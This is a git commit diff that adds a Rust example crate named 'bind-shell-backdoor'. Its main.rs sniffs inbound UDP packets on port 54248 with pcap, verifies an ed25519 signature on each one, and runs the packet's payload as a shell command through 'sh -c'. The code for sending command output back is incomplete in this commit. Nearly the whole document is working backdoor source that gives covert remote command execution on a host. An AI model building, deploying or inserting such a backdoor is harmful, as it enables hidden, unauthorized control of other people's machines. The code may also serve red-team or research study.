feat: added command parsing and spawning

examples/bind-shell/backdoor/Cargo.toml

@@ -0,0 +1,15 @@
+[package]
+name = "bind-shell-backdoor"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process", "io-util"] }
+pcap-sys = { path = "../../../pcap-sys" }
+anyhow = "1.0.70"
+tokio-stream = "0.1.14"
+ed25519-dalek = "1.0.1"
+log = "0.4.17"
+simple_logger = "4.1.0"

examples/bind-shell/backdoor/src/main.rs

@@ -0,0 +1,143 @@
+use std::process::Stdio;
+use std::{sync::Arc, ffi::OsStr};
+use std::os::unix::ffi::OsStrExt;
+
+use tokio::{self, sync::mpsc, process, io::AsyncReadExt};
+use tokio_stream::StreamExt;
+use pcap_sys::{self, packets::EthernetPacket};
+use anyhow::{Context, anyhow, bail};
+use ed25519_dalek::{PublicKey, Verifier, Signature};
+
+const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
+
+#[tokio::main]
+async fn main() -> anyhow::Result<()> {
+    simple_logger::SimpleLogger::new().init()?;
+
+    let pubkey = Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
+
+    log::info!("Pubkey is good");
+
+    let mut interfaces = pcap_sys::PcapDevIterator::new()?;
+
+    let interface_name = interfaces
+        .find(|eth| eth.starts_with("eth"))
+        .ok_or(anyhow!("Could not get an ethernet interface"))?;
+
+    let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
+
+    interface.set_buffer_size(8192)?;
+    interface.set_non_blocking(true)?;
+    interface.set_promisc(false)?;
+    interface.set_timeout(10)?;
+
+    let mut interface = interface.activate()?;
+
+    interface.set_filter("inbound and udp port 54248", true, None)?;
+
+    if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
+        bail!("interface does not support ethernet")
+    }
+
+    enum EventType {
+        Packet(Result<EthernetPacket, pcap_sys::error::Error>),
+        Send(EthernetPacket)
+    }
+
+    let mut packets = interface.stream()?;
+    let (packet_sender, mut packets_to_send) = mpsc::channel(64);
+
+    while let Some(evt) = tokio::select! {
+        v = packets.next() => v.map(EventType::Packet),
+        v = packets_to_send.recv() => v.map(EventType::Send)
+    } {
+        match evt {
+            EventType::Packet(pkt) => {
+                if let Ok(pkt) = pkt {
+                    let packet_sender_clone = packet_sender.clone();
+                    let pubkey_clone = pubkey.clone();
+                    tokio::spawn(async move {
+                        if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await {
+                            log::warn!("Error handling packet: {e}");
+                        }
+                    });
+                }
+            }
+            EventType::Send(pkt) => {
+                packets.sendpacket(pkt.pkt())?;
+            }
+        }
+    }
+
+    Ok(())
+}
+
+async fn handle_command(
+    pubkey: Arc<PublicKey>,
+    eth: EthernetPacket,
+    send_response: mpsc::Sender<EthernetPacket>
+) -> anyhow::Result<()> {
+    use pcap_sys::packets::*;
+    let eth_pkt = eth.pkt();
+    let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
+    let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
+
+    let data = udp_pkt.get_data();
+
+    if data.len() < 65 {
+        bail!("Packet was too short")
+    }
+
+    let signature: [u8; 64] = data[..64]
+        .try_into()
+        .context("could not get signature from command")?;
+
+    let signature = Signature::from(signature);
+
+    let cmd = &data[64..];
+
+    pubkey.verify(cmd, &signature).context("message provided was unauthenticated")?;
+
+    let cmd = OsStr::from_bytes(cmd);
+
+    log::info!("Received command to execute: {cmd:?}");
+
+    let child = process::Command::new("sh")
+        .arg("-c")
+        .arg(cmd)
+        .stdin(Stdio::null())
+        .stdout(Stdio::piped())
+        .stderr(Stdio::piped())
+        .spawn()?;
+
+    let mut stdout = child.stdout.ok_or(anyhow!("could not get child process stdout"))?;
+    let mut stderr = child.stderr.ok_or(anyhow!("could not get child process stdout"))?;
+
+    enum Output {
+        Out,
+        Err
+    }
+
+    let mut stdout_buffer = [0u8; 1024];
+    let mut stderr_buffer = [0u8; 1024];
+
+    loop {
+        let (out_type, Ok(len)) = tokio::select! {
+            v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
+            v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
+        } else { continue; };
+
+        if len == 0 {
+            break;
+        }
+
+        let msg = &match out_type {
+            Output::Err => stderr_buffer,
+            Output::Out => stdout_buffer
+        }[..len];
+    }
+
+    log::info!("Done executing command {cmd:?}");
+
+    Ok(())
+}